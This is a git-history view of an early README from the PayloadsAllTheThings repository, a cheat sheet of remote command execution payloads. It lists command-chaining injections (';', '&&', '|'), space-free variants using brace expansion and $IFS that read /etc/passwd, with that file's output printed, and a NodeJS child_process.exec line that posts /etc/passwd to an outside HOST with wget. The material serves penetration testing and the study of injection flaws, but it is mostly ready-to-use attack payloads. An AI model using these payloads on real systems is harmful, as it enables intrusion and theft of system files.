1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-26 03:46:42 +02:00
PayloadsAllTheThings/Remote commands execution/README.md

44 lines
1.0 KiB
Markdown
Raw Normal View History

2016-10-18 08:02:14 +02:00
# Remote Code Execution
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
2016-10-18 10:01:56 +02:00
2016-10-18 08:39:17 +02:00
## Exploits
2016-11-17 04:50:34 +01:00
Normal code execution, execute the command and voila :p
2016-10-18 08:02:14 +02:00
```
cat /etc/passwd
2016-10-18 08:04:50 +02:00
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
2016-10-18 08:02:14 +02:00
```
2016-11-11 18:17:33 +01:00
Code execution by chaining commands
```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
```
2016-10-18 08:02:14 +02:00
Code execution without space
```
2016-11-11 18:17:33 +01:00
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2016-10-18 08:02:14 +02:00
```
2016-10-18 10:01:56 +02:00
2016-10-18 08:02:14 +02:00
NodeJS Code execution
2016-10-18 10:01:56 +02:00
```
2016-11-17 04:50:34 +01:00
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
2016-10-18 10:01:56 +02:00
```
## Thanks to
2016-10-18 08:02:14 +02:00
*